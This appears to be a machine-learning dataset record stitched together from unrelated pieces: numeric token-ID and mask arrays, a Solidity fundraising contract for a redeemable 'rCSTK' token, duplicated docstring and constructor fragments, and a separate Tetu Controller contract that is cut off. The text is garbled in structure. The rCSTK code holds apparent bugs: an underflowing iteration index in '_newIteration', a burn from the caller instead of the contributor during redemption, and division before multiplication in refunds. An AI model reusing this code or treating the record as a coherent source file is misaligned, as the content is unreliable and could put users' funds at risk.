203,
3639,
1758,
1018,
1887,
16,
203,
3639,
1731,
3778,
2385,
16,
203,
3639,
5916,
9220,
5971,
620,
16,
203,
3639,
31849,
16189,
3039,
16,
203,
3639,
2254,
2313,
16255,
3893,
16,
203,
3639,
1758,
16255,
1887,
203,
565,
262,
3903,
8843,
429,
1135,
261,
11890,
1105,
3102,
1769,
203,
203,
565,
445,
1366,
58,
18020,
774,
41,
3489,
12,
203,
3639,
2254,
2313,
1018,
3893,
16,
203,
3639,
1758,
1018,
1887,
16,
203,
3639,
1731,
3778,
2385,
16,
203,
3639,
5916,
9220,
5971,
620,
16,
203,
3639,
31849,
16189,
3039,
16,
203,
3639,
776,
7598,
653,
8526,
3778,
331,
7598,
2396,
203,
565,
262,
3903,
8843,
429,
1135,
261,
11890,
1105,
3102,
1769,
203,
203,
565,
445,
1366,
58,
18020,
774,
41,
3489,
12,
203,
3639,
2254,
2313,
1018,
3893,
16,
203,
3639,
1758,
1018,
1887,
16,
203,
3639,
1731,
3778,
2385,
16,
203,
3639,
5916,
9220,
5971,
620,
16,
203,
3639,
31849,
16189,
3039,
16,
203,
3639,
776,
7598,
653,
8526,
3778,
331,
7598,
2396,
2
] |
pragma solidity ^0.5.17;
import "./ERC20NonTransferrable.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Mintable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "../../../registry/AdminRole.sol";
import "../../../registry/Registry.sol";
import "./ITokenManager.sol";
import "../Escapable.sol";
import "../vault/TokenBank.sol";
/// @title A redeemable token for Commons Stack fundraising
/// @author Nelson Melina
/// @notice
/// @dev
contract RCSTKToken is
ERC20NonTransferrable,
ERC20Detailed,
ERC20Mintable,
AdminRole,
Escapable
{
/// @notice This will also deploy the Registry and TokenBank
/// @dev
/// @param _numerators (uint256[]) multiplication factors for the iterations
/// @param _denominators (uint256[]) division factors for the iterations
/// @param _softCaps (uint256[]) soft caps for the iterations, in DAI
/// @param _hardCaps (uint256[]) hard caps for the iterations, in DAI
/// @param _tokenBankAddress (address) TokenBank address
/// @param _cstkTokenAddress (address) CSTK Token address: 0xd53b50a6213ee7ff2fcc41a7cf69d22ded0a43b3 on Mainnet
/// @param _cstkTokenManagerAddress (address) CSTK Token Manager address: 0x696e40ba67d890422421886633195013b62c9c44 on Mainnet
/// @param _registryAddress (address) Registry address (TO BE DEPLOYED)
/// @param _admins (address[]) list of admin addresses for rCSTK, registry and TokenBank TODO: Define these addresses
/// @param _escapeHatchCaller (address) Escape Hatch caller TODO: Define these addresses
/// @param _escapeHatchDestination (address) Escape Hatch destination: TODO: Define these addresses
constructor(
uint256[] memory _numerators,
uint256[] memory _denominators,
uint256[] memory _softCaps,
uint256[] memory _hardCaps,
address _tokenBankAddress,
address _cstkTokenAddress,
address _cstkTokenManagerAddress,
address _registryAddress,
address[] memory _admins,
address _escapeHatchCaller, /// @notice the RCSTK Token, Registry and TokenBank share the same escape hatch caller and destination.
address payable _escapeHatchDestination
)
public
ERC20Detailed("Redeemable CSTK Token", "rCSTK", 18)
AdminRole(_admins)
Escapable(_escapeHatchCaller, _escapeHatchDestination)
{
cstkToken = IERC20(_cstkTokenAddress);
cstkTokenManager = ITokenManager(_cstkTokenManagerAddress);
registry = Registry(_registryAddress); // TODO: consider extracting IRegistry.
bank = TokenBank(_tokenBankAddress); // TODO: consider extracting ITokenBank.
require(
_numerators.length == _denominators.length &&
_denominators.length == _softCaps.length &&
_softCaps.length == _hardCaps.length,
"Parameters must be of same length"
);
/**
Iteration 1: CSTK rate = 2.5 CSTK/DAI, Soft Cap = 984000 DAI, Hard Cap = 1250000 DAI
_newIteration(5, 2, 984000, 1250000);
Iteration 2: CSTK rate = 2 CSTK/DAI, Soft Cap = 796000 DAI, Hard Cap = 1000000 DAI
_newIteration(2, 1, 796000, 1000000);
Iteration 3: CSTK rate = 1.5 CSTK/DAI, Soft Cap = 1170000 DAI, Hard Cap = 1500000 DAI
_newIteration(3, 2, 1170000, 1500000);
Iteration 4: CSTK rate = 1.25 CSTK/DAI, Soft Cap = 820000 DAI, Hard Cap = 1000000 DAI
_newIteration(5, 4, 820000, 1000000);
Iteration 5: CSTK rate = 1 CSTK/DAI, Soft Cap = 2950000 DAI, Hard Cap = 3750000 DAI
_newIteration(1, 1, 2950000, 3750000);
*/
for (uint256 index = 0; index < _numerators.length; index++) {
_newIteration(
_numerators[index],
_denominators[index],
_softCaps[index],
_hardCaps[index]
);
}
currentState = State.CREATED;
}
struct Iteration {
bool active;
uint256 numerator; /// @dev multiplication factor
uint256 denominator; /// @dev multiplication factor
uint256 softCap; /// @dev in DAI
uint256 hardCap; /// @dev in DAI
uint256 startBlock; /// @dev when did this iteration start
uint256 softCapTimestamp; /// @dev when the softcap was reached
uint256 totalReceived; /// @dev total DAI received in this iteration
}
/// @notice State of the fundraise
enum State {CREATED, ACTIVE, INACTIVE, END_RAISE_STARTED, FINISHED}
State public currentState;
/// @notice Number of existing iterations
uint256 public numIterations;
/// @notice List of iterations: iterations[index]
mapping(uint256 => Iteration) public _iterations;
/// @notice Commons Stack ERC20 token smart contract
IERC20 public cstkToken;
/// @notice Whitelisting Registry smart contract
Registry public registry;
/// @notice Commons Stack Token manager smart contract
ITokenManager public cstkTokenManager;
/// @notice Constant for 5 days in seconds
uint256 private constant FIVE_DAYS_IN_SECONDS = 432000;
/// @notice Token Bank smart smart contract
TokenBank public bank;
uint256 public endRaiseTimestamp;
event FinishRaise();
event MaximumTrustReached(address wallet);
event SoftCapReached(uint256 iteration);
event HardCapReached(uint256 iteration);
/// @dev only contributors whitelisted in the Registry will be allowed to use functions modified by this
modifier onlyContributor(address wallet) {
require(
registry.getMaxTrust(wallet) != 0,
"Only contributors can call this"
);
_;
}
modifier onlyIfActive() {
require(
currentState == State.ACTIVE,
"This contract is not in ACTIVE state"
);
_;
}
modifier iterationExist(uint256 index) {
require(index < numIterations, "This iteration does not exist yet.");
_;
}
modifier iterationActive(uint256 index) {
require(
_iterations[index].active,
"This iteration is not active at this time."
);
_;
}
modifier iterationSoftCapNotReached(uint256 index) {
require(
_iterations[index].softCapTimestamp == 0,
"This iteration has reached its Soft Cap already."
);
_;
}
modifier iterationSoftCapReached(uint256 index) {
require(
_iterations[index].softCapTimestamp > 0,
"This iteration has reached its Soft Cap already."
);
_;
}
modifier hasBalance(address wallet) {
require(balanceOf(wallet) > 0, "User has an empty balance.");
_;
}
/// @notice Creates a new iteration phase
/// @dev Only called by constructor. Iterations are hardcoded for rCSTK
/// @param _numerator (uint256) multiplication factor
/// @param _denominator (uint256) multiplication factor
/// @param _softCap (uint256) in DAI
/// @param _hardCap (uint256) in DAI
/// @return iterationID (uint256) new iteration's ID
function _newIteration(
uint256 _numerator,
uint256 _denominator,
uint256 _softCap,
uint256 _hardCap
) internal returns (uint256 iterationID) {
iterationID = numIterations++ - 1;
_iterations[iterationID] = Iteration(
false,
_numerator,
_denominator,
_softCap,
_hardCap,
0,
0,
0
);
return iterationID;
}
/// @notice Start the first iteration of the fundraise
function startFirstIteration() public iterationExist(0) onlyAdmin {
/// @dev Iterations are created in the constructor, so it should exist
require(
_iterations[0].startBlock == 0,
"First iteration has already been started"
);
_iterations[0].startBlock = block.number;
_iterations[0].active = true;
}
/// @notice Change iteration phase.
function switchIteration() public onlyAdmin onlyIfActive {
require(
totalSupply() == 0,
"Before switching iterations all rCSTK tokens must be redeemed"
);
uint256 currentIterationNumber = getCurrentIterationNumber();
require(
currentIterationNumber + 1 < numIterations,
"Next iteration does not exist."
);
require(
_iterations[currentIterationNumber].softCapTimestamp > 0,
"softCap has not been reached yet on the active iteration"
);
require(
block.timestamp >
_iterations[currentIterationNumber].softCapTimestamp +
FIVE_DAYS_IN_SECONDS ||
_iterations[currentIterationNumber].totalReceived >=
_iterations[currentIterationNumber].hardCap,
"Hardcap has not been reached, and it has been less than 5 days since the softcap was reached"
);
_iterations[currentIterationNumber].active = false;
_iterations[currentIterationNumber + 1].active = true;
_iterations[currentIterationNumber + 1].startBlock = block.number;
}
/// @notice Donate DAI and get rCSTK tokens in exchange
/// @dev Maybe better to change function name to something else than buy
/// @param _amountDAI (uint256) DAI amount the user wants to donate
/// @return DAI amount donated by the user
function donate(uint256 _amountDAI)
public
onlyIfActive
onlyContributor(msg.sender)
returns (uint256 amountDAIDonated)
{
uint256 currentIterationNumber = getCurrentIterationNumber();
require(
_iterations[currentIterationNumber].totalReceived <
_iterations[currentIterationNumber].hardCap,
"This iteration has reached its hardCap already"
);
// @notice Determine how many CSTK tokens the donor will receive
uint256 amountTokens = SafeMath.div(
SafeMath.mul(
_amountDAI,
_iterations[currentIterationNumber].numerator
),
_iterations[currentIterationNumber].denominator
);
// @notice Check if the donor is not trusted to enough to receive this many rCSTK tokens
if (
SafeMath.add(
SafeMath.add(
balanceOf(msg.sender),
cstkToken.balanceOf(msg.sender)
),
amountTokens
) >= registry.getMaxTrust(msg.sender)
) {
/// @dev If this donation would give them more CSTK tokens then they are trusted to hold, we calculate how many tokens they can be trusted to hold and reduce their donation, they can donate the extra DAI directly to the Commons Stack Donation Address
amountTokens = SafeMath.sub(
registry.getMaxTrust(msg.sender),
SafeMath.add(
balanceOf(msg.sender),
cstkToken.balanceOf(msg.sender)
)
);
_amountDAI = SafeMath.div(
SafeMath.mul(
amountTokens,
_iterations[currentIterationNumber].denominator
),
_iterations[currentIterationNumber].numerator
);
emit MaximumTrustReached(msg.sender);
}
if (
_amountDAI >
_iterations[currentIterationNumber].hardCap -
_iterations[currentIterationNumber].totalReceived
) {
/// @dev donate only up to the hardcap.
_amountDAI = SafeMath.sub(
_iterations[currentIterationNumber].hardCap,
_iterations[currentIterationNumber].totalReceived
);
amountTokens = SafeMath.div(
SafeMath.mul(
_amountDAI,
_iterations[currentIterationNumber].numerator
),
_iterations[currentIterationNumber].denominator
);
}
if (_amountDAI != 0) {
bank.deposit(msg.sender, _amountDAI);
_iterations[currentIterationNumber].totalReceived = SafeMath.add(
_iterations[currentIterationNumber].totalReceived,
_amountDAI
);
if (
_iterations[currentIterationNumber].totalReceived >
_iterations[currentIterationNumber].softCap &&
_iterations[currentIterationNumber].softCapTimestamp == 0
) {
/// @dev Soft Cap is reached.
_iterations[currentIterationNumber].softCapTimestamp = block
.timestamp;
bank.storeAllInVault();
emit SoftCapReached(currentIterationNumber);
}
if (_iterations[currentIterationNumber].softCapTimestamp == 0) {
_mint(msg.sender, amountTokens);
} else {
/// @dev If softCap was reached we directly mint CSTK tokens and store donation into the Vault.
cstkTokenManager.mint(msg.sender, amountTokens);
bank.storeInVault(msg.sender, _amountDAI);
}
if (
_iterations[currentIterationNumber].totalReceived ==
_iterations[currentIterationNumber].hardCap
) {
emit HardCapReached(currentIterationNumber);
}
}
return _amountDAI;
}
/// @notice burns rCSTK tokens, get some DAI back. Booooo :-/
/// @param _amountTokens (uint256) amount of tokens to give back.
function ditchTokens(uint256 _amountTokens) public hasBalance(msg.sender) {
/// @dev Comment that. Change name of FIVE_DAYS_IN_SECONDS compared to the one in softcap.
require(
currentState == State.ACTIVE ||
(endRaiseTimestamp != 0 &&
currentState == State.END_RAISE_STARTED &&
block.timestamp < endRaiseTimestamp + FIVE_DAYS_IN_SECONDS),
"This contract is not in ACTIVE state or 5 days after end of fundraise."
);
uint256 currentIterationNumber = getCurrentIterationNumber();
uint256 _amountDAI = SafeMath.mul(
SafeMath.div(
_amountTokens,
_iterations[currentIterationNumber].denominator
),
_iterations[currentIterationNumber].numerator
);
_burn(msg.sender, _amountTokens);
bank.withdraw(msg.sender, _amountDAI);
_iterations[currentIterationNumber].totalReceived = SafeMath.sub(
_iterations[currentIterationNumber].totalReceived,
_amountDAI
);
}
/// @notice redeem rCSTK tokens for CSTK tokens. Irreversible.
/// @param _amountTokens (uint256) rCSTK tokensamount to convert to CSTK.
function redeemTokens(uint256 _amountTokens) public hasBalance(msg.sender) {
uint256 currentIterationNumber = getCurrentIterationNumber();
_redeemTokens(msg.sender, currentIterationNumber, _amountTokens);
}
/// @notice redeem rCSTK tokens for CSTK tokens for all accounts in TokenBank. Irreversible.
function redeemContributors(address[] memory accounts, uint256 _iteration)
public
iterationSoftCapReached(_iteration)
{
for (uint256 index = 0; index < accounts.length; index++) {
_redeemTokens(
accounts[index],
_iteration,
balanceOf(accounts[index])
);
}
}
/// @notice
/// @dev
/// @param contributor (address)
/// @param _amountTokens (uint256)
function _redeemTokens(
address contributor,
uint256 _iteration,
uint256 _amountTokens
) internal {
///mint CSTK tokens
cstkTokenManager.mint(contributor, _amountTokens);
uint256 _amountDAI = SafeMath.div(
SafeMath.mul(_amountTokens, _iterations[_iteration].denominator),
_iterations[_iteration].numerator
);
bank.storeInVault(contributor, _amountDAI);
_burn(msg.sender, _amountTokens);
}
/// @notice In case there is an issue this fundraise can be stopped
function pause() public onlyAdmin {
require(currentState == State.ACTIVE, "Current state is not active");
currentState = State.INACTIVE;
}
/// @notice If everything is ok the fundraise can be restarted
function unpause() public onlyAdmin {
require(
currentState == State.INACTIVE,
"Current state is not inactive"
);
currentState = State.ACTIVE;
}
/// @notice Start the process of finishing the fundraise.
function startEndRaise() public onlyAdmin onlyIfActive {
currentState = State.END_RAISE_STARTED;
endRaiseTimestamp = block.timestamp;
}
/// @notice Finish the fundraise.
function finishEndRaise() public onlyAdmin {
require(
currentState == State.END_RAISE_STARTED &&
block.timestamp > endRaiseTimestamp + FIVE_DAYS_IN_SECONDS,
"End of raise has not started more than 5 days ago."
);
bank.storeAllInVault();
bank.drainVault();
currentState = State.FINISHED;
emit FinishRaise();
}
/// @notice Finish the fundraise.
function getCurrentIterationNumber()
public
view
returns (uint256 currentIterationNumber)
{
for (uint256 index = 0; index < numIterations; index++) {
if (_iterations[index].active == true) {
currentIterationNumber = index;
break;
}
}
return currentIterationNumber;
}
}
|
@notice This will also deploy the Registry and TokenBank @dev @param _numerators (uint256[]) multiplication factors for the iterations @param _denominators (uint256[]) division factors for the iterations @param _softCaps (uint256[]) soft caps for the iterations, in DAI @param _hardCaps (uint256[]) hard caps for the iterations, in DAI @param _tokenBankAddress (address) TokenBank address @param _cstkTokenAddress (address) CSTK Token address: 0xd53b50a6213ee7ff2fcc41a7cf69d22ded0a43b3 on Mainnet @param _cstkTokenManagerAddress (address) CSTK Token Manager address: 0x696e40ba67d890422421886633195013b62c9c44 on Mainnet @param _registryAddress (address) Registry address (TO BE DEPLOYED) @param _admins (address[]) list of admin addresses for rCSTK, registry and TokenBank TODO: Define these addresses @param _escapeHatchCaller (address) Escape Hatch caller TODO: Define these addresses @param _escapeHatchDestination (address) Escape Hatch destination: TODO: Define these addresses*/
|
{
cstkToken = IERC20(_cstkTokenAddress);
cstkTokenManager = ITokenManager(_cstkTokenManagerAddress);
require(
_numerators.length == _denominators.length &&
_denominators.length == _softCaps.length &&
_softCaps.length == _hardCaps.length,
"Parameters must be of same length"
);
Iteration 1: CSTK rate = 2.5 CSTK/DAI, Soft Cap = 984000 DAI, Hard Cap = 1250000 DAI
_newIteration(5, 2, 984000, 1250000);
Iteration 2: CSTK rate = 2 CSTK/DAI, Soft Cap = 796000 DAI, Hard Cap = 1000000 DAI
_newIteration(2, 1, 796000, 1000000);
Iteration 3: CSTK rate = 1.5 CSTK/DAI, Soft Cap = 1170000 DAI, Hard Cap = 1500000 DAI
_newIteration(3, 2, 1170000, 1500000);
Iteration 4: CSTK rate = 1.25 CSTK/DAI, Soft Cap = 820000 DAI, Hard Cap = 1000000 DAI
_newIteration(5, 4, 820000, 1000000);
Iteration 5: CSTK rate = 1 CSTK/DAI, Soft Cap = 2950000 DAI, Hard Cap = 3750000 DAI
_newIteration(1, 1, 2950000, 3750000);
for (uint256 index = 0; index < _numerators.length; index++) {
_newIteration(
_numerators[index],
_denominators[index],
_softCaps[index],
_hardCaps[index]
);
}
currentState = State.CREATED;
}
| 6,427,304 |
[
1,
2503,
903,
2546,
7286,
326,
5438,
471,
3155,
16040,
282,
389,
2107,
264,
3062,
261,
11890,
5034,
63,
5717,
23066,
14490,
364,
326,
11316,
225,
389,
13002,
362,
30425,
261,
11890,
5034,
63,
5717,
16536,
14490,
364,
326,
11316,
225,
389,
9269,
24193,
261,
11890,
5034,
63,
5717,
8971,
15788,
364,
326,
11316,
16,
316,
463,
18194,
225,
389,
20379,
24193,
261,
11890,
5034,
63,
5717,
7877,
15788,
364,
326,
11316,
16,
316,
463,
18194,
225,
389,
2316,
16040,
1887,
261,
2867,
13,
3155,
16040,
1758,
225,
389,
71,
334,
79,
1345,
1887,
261,
2867,
13,
385,
882,
47,
3155,
1758,
30,
374,
7669,
8643,
70,
3361,
69,
8898,
3437,
1340,
27,
1403,
22,
74,
952,
9803,
69,
27,
8522,
8148,
72,
3787,
785,
20,
69,
8942,
70,
23,
603,
12740,
2758,
225,
389,
71,
334,
79,
1345,
1318,
1887,
261,
2867,
13,
385,
882,
47,
3155,
8558,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
288,
203,
3639,
276,
334,
79,
1345,
273,
467,
654,
39,
3462,
24899,
71,
334,
79,
1345,
1887,
1769,
203,
3639,
276,
334,
79,
1345,
1318,
273,
467,
1345,
1318,
24899,
71,
334,
79,
1345,
1318,
1887,
1769,
203,
203,
3639,
2583,
12,
203,
5411,
389,
2107,
264,
3062,
18,
2469,
422,
389,
13002,
362,
30425,
18,
2469,
597,
203,
7734,
389,
13002,
362,
30425,
18,
2469,
422,
389,
9269,
24193,
18,
2469,
597,
203,
7734,
389,
9269,
24193,
18,
2469,
422,
389,
20379,
24193,
18,
2469,
16,
203,
5411,
315,
2402,
1297,
506,
434,
1967,
769,
6,
203,
3639,
11272,
203,
5411,
30377,
404,
30,
385,
882,
47,
4993,
273,
576,
18,
25,
385,
882,
47,
19,
9793,
45,
16,
12438,
11200,
273,
225,
2468,
5193,
3784,
463,
18194,
16,
670,
1060,
11200,
273,
225,
30616,
2787,
463,
18194,
203,
5411,
389,
2704,
10795,
12,
25,
16,
576,
16,
2468,
5193,
3784,
16,
30616,
2787,
1769,
203,
5411,
30377,
576,
30,
385,
882,
47,
4993,
273,
576,
385,
882,
47,
19,
9793,
45,
16,
12438,
11200,
273,
225,
2371,
10525,
3784,
463,
18194,
16,
670,
1060,
11200,
273,
225,
15088,
463,
18194,
203,
5411,
389,
2704,
10795,
12,
22,
16,
404,
16,
2371,
10525,
3784,
16,
15088,
1769,
203,
5411,
30377,
890,
30,
385,
882,
47,
4993,
273,
404,
18,
25,
385,
882,
47,
19,
9793,
45,
16,
12438,
11200,
273,
225,
27894,
2787,
463,
18194,
16,
670,
1060,
11200,
273,
225,
4711,
11706,
463,
18194,
203,
5411,
389,
2704,
10795,
12,
2
] |
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
import "../../openzeppelin/SafeERC20.sol";
import "../../openzeppelin/IERC20.sol";
import "../interface/IStrategy.sol";
import "../interface/IStrategySplitter.sol";
import "../interface/ISmartVault.sol";
import "../interface/IFeeRewardForwarder.sol";
import "../interface/IBookkeeper.sol";
import "../interface/IUpgradeSource.sol";
import "../interface/IFundKeeper.sol";
import "../interface/ITetuProxy.sol";
import "../interface/IMintHelper.sol";
import "../interface/IAnnouncer.sol";
import "../interface/strategies/IBalancingStrategy.sol";
import "./ControllerStorage.sol";
import "./ControllableV2.sol";
/// @title A central contract for control everything.
/// Governance is a Multi-Sig Wallet
/// @dev Use with TetuProxy
/// @author belbix
contract Controller is Initializable, ControllableV2, ControllerStorage {
using SafeERC20 for IERC20;
using Address for address;
// ************ VARIABLES **********************
/// @notice Version of the contract
/// @dev Should be incremented when contract is changed
string public constant VERSION = "1.4.1";
/// @dev Allowed contracts to deposit in the vaults
mapping(address => bool) public override whiteList;
/// @dev Registered vaults
mapping(address => bool) public override vaults;
/// @dev Registered strategies
mapping(address => bool) public override strategies;
/// @dev Allowed addresses for maintenance work
mapping(address => bool) public hardWorkers;
/// @dev Allowed address for reward distributing
mapping(address => bool) public rewardDistribution;
/// @dev Allowed address for getting 100% rewards without vesting
mapping(address => bool) public pureRewardConsumers;
// ************ EVENTS **********************
/// @notice HardWorker added
event HardWorkerAdded(address value);
/// @notice HardWorker removed
event HardWorkerRemoved(address value);
/// @notice Contract whitelist status changed
event WhiteListStatusChanged(address target, bool status);
/// @notice Vault and Strategy pair registered
event VaultAndStrategyAdded(address vault, address strategy);
/// @notice Tokens moved from Controller contract to Governance
event ControllerTokenMoved(address indexed recipient, address indexed token, uint256 amount);
/// @notice Tokens moved from Strategy contract to Governance
event StrategyTokenMoved(address indexed strategy, address indexed token, uint256 amount);
/// @notice Tokens moved from Fund contract to Controller
event FundKeeperTokenMoved(address indexed fund, address indexed token, uint256 amount);
/// @notice DoHardWork completed and PricePerFullShare changed
event SharePriceChangeLog(
address indexed vault,
address indexed strategy,
uint256 oldSharePrice,
uint256 newSharePrice,
uint256 timestamp
);
event VaultStrategyChanged(address vault, address oldStrategy, address newStrategy);
event ProxyUpgraded(address target, address oldLogic, address newLogic);
event Minted(
address mintHelper,
uint totalAmount,
address distributor,
address otherNetworkFund,
bool mintAllAvailable
);
event DistributorChanged(address distributor);
/// @notice Initialize contract after setup it as proxy implementation
/// @dev Use it only once after first logic setup
/// Initialize Controllable with sender address
/// Setup default values for PS and Fund ratio
function initialize() external initializer {
ControllableV2.initializeControllable(address(this));
ControllerStorage.initializeControllerStorage(
msg.sender
);
// 100% by default
setPSNumeratorDenominator(1000, 1000);
// 10% by default
setFundNumeratorDenominator(100, 1000);
}
// ************* MODIFIERS AND FUNCTIONS FOR STRICT ACCESS ********************
/// @dev Operations allowed only for Governance address
function onlyGovernance() view private {
require(_governance() == msg.sender, "C: Not governance");
}
/// @dev Operations allowed for Governance or Dao addresses
function onlyGovernanceOrDao() view private {
require(_governance() == msg.sender || _dao() == msg.sender, "C: Not governance or dao");
}
/// @dev Operation should be announced (exist in timeLockSchedule map) or new value
function timeLock(
bytes32 opHash,
IAnnouncer.TimeLockOpCodes opCode,
bool isEmptyValue,
address target
) private {
// empty values setup without time-lock
if (!isEmptyValue) {
require(_announcer() != address(0), "C: Zero announcer");
require(IAnnouncer(_announcer()).timeLockSchedule(opHash) > 0, "C: Not announced");
require(IAnnouncer(_announcer()).timeLockSchedule(opHash) < block.timestamp, "C: Too early");
IAnnouncer(_announcer()).clearAnnounce(opHash, opCode, target);
}
}
// ************ GOVERNANCE ACTIONS **************************
// ---------------------- TIME-LOCK ACTIONS --------------------------
/// @notice Only Governance can do it. Set announced strategies for given vaults
/// @param _vaults Vault addresses
/// @param _strategies Strategy addresses
function setVaultStrategyBatch(address[] calldata _vaults, address[] calldata _strategies) external {
onlyGovernance();
require(_vaults.length == _strategies.length, "C: Wrong arrays");
for (uint256 i = 0; i < _vaults.length; i++) {
_setVaultStrategy(_vaults[i], _strategies[i]);
}
}
/// @notice Only Governance can do it. Set announced strategy for given vault
/// @param _target Vault address
/// @param _strategy Strategy address
function _setVaultStrategy(address _target, address _strategy) private {
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.StrategyUpgrade, _target, _strategy)),
IAnnouncer.TimeLockOpCodes.StrategyUpgrade,
ISmartVault(_target).strategy() == address(0),
_target
);
emit VaultStrategyChanged(_target, ISmartVault(_target).strategy(), _strategy);
ISmartVault(_target).setStrategy(_strategy);
}
function addStrategiesToSplitter(address _splitter, address[] calldata _strategies) external {
onlyGovernance();
for (uint256 i = 0; i < _strategies.length; i++) {
_addStrategyToSplitter(_splitter, _strategies[i]);
}
}
/// @notice Only Governance can do it. Add new strategy to given splitter
function _addStrategyToSplitter(address _splitter, address _strategy) internal {
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.StrategyUpgrade, _splitter, _strategy)),
IAnnouncer.TimeLockOpCodes.StrategyUpgrade,
!IStrategySplitter(_splitter).strategiesInited(),
_splitter
);
IStrategySplitter(_splitter).addStrategy(_strategy);
rewardDistribution[_strategy] = true;
if (!strategies[_strategy]) {
strategies[_strategy] = true;
IBookkeeper(_bookkeeper()).addStrategy(_strategy);
}
}
/// @notice Only Governance can do it. Upgrade batch announced proxies
/// @param _contracts Array of Proxy contract addresses for upgrade
/// @param _implementations Array of New implementation addresses
function upgradeTetuProxyBatch(
address[] calldata _contracts,
address[] calldata _implementations
) external {
onlyGovernance();
require(_contracts.length == _implementations.length, "wrong arrays");
for (uint256 i = 0; i < _contracts.length; i++) {
_upgradeTetuProxy(_contracts[i], _implementations[i]);
}
}
/// @notice Only Governance can do it. Upgrade announced proxy
/// @param _contract Proxy contract address for upgrade
/// @param _implementation New implementation address
function _upgradeTetuProxy(address _contract, address _implementation) private {
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.TetuProxyUpdate, _contract, _implementation)),
IAnnouncer.TimeLockOpCodes.TetuProxyUpdate,
false,
_contract
);
emit ProxyUpgraded(_contract, ITetuProxy(_contract).implementation(), _implementation);
ITetuProxy(_contract).upgrade(_implementation);
}
/// @notice Only Governance can do it. Call announced mint
/// @param totalAmount Total amount to mint.
/// 33% will go to current network, 67% to FundKeeper for other networks
/// @param mintAllAvailable if true instead of amount will be used maxTotalSupplyForCurrentBlock - totalSupply
function mintAndDistribute(
uint256 totalAmount,
bool mintAllAvailable
) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.Mint, totalAmount, distributor(), fund(), mintAllAvailable)),
IAnnouncer.TimeLockOpCodes.Mint,
false,
address(0)
);
require(distributor() != address(0), "C: Zero distributor");
require(fund() != address(0), "C: Zero fund");
IMintHelper(mintHelper()).mintAndDistribute(totalAmount, distributor(), fund(), mintAllAvailable);
emit Minted(mintHelper(), totalAmount, distributor(), fund(), mintAllAvailable);
}
// ---------------------- TIME-LOCK ADDRESS CHANGE --------------------------
/// @notice Only Governance can do it. Change governance address.
/// @param newValue New governance address
function setGovernance(address newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.Governance, newValue)),
IAnnouncer.TimeLockOpCodes.Governance,
_governance() == address(0),
address(0)
);
_setGovernance(newValue);
}
/// @notice Only Governance can do it. Change DAO address.
/// @param newValue New DAO address
function setDao(address newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.Dao, newValue)),
IAnnouncer.TimeLockOpCodes.Dao,
_dao() == address(0),
address(0)
);
_setDao(newValue);
}
/// @notice Only Governance can do it. Change FeeRewardForwarder address.
/// @param _feeRewardForwarder New FeeRewardForwarder address
function setFeeRewardForwarder(address _feeRewardForwarder) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.FeeRewardForwarder, _feeRewardForwarder)),
IAnnouncer.TimeLockOpCodes.FeeRewardForwarder,
feeRewardForwarder() == address(0),
address(0)
);
rewardDistribution[feeRewardForwarder()] = false;
_setFeeRewardForwarder(_feeRewardForwarder);
rewardDistribution[feeRewardForwarder()] = true;
}
/// @notice Only Governance can do it. Change Bookkeeper address.
/// @param newValue New Bookkeeper address
function setBookkeeper(address newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.Bookkeeper, newValue)),
IAnnouncer.TimeLockOpCodes.Bookkeeper,
_bookkeeper() == address(0),
address(0)
);
_setBookkeeper(newValue);
}
/// @notice Only Governance can do it. Change MintHelper address.
/// @param _newValue New MintHelper address
function setMintHelper(address _newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.MintHelper, _newValue)),
IAnnouncer.TimeLockOpCodes.MintHelper,
mintHelper() == address(0),
address(0)
);
_setMintHelper(_newValue);
// for reduce the chance of DoS check new implementation
require(IMintHelper(mintHelper()).devFundsList(0) != address(0), "C: Wrong");
}
/// @notice Only Governance can do it. Change RewardToken(TETU) address.
/// @param _newValue New RewardToken address
function setRewardToken(address _newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.RewardToken, _newValue)),
IAnnouncer.TimeLockOpCodes.RewardToken,
rewardToken() == address(0),
address(0)
);
_setRewardToken(_newValue);
}
/// @notice Only Governance can do it. Change FundToken(USDC by default) address.
/// @param _newValue New FundToken address
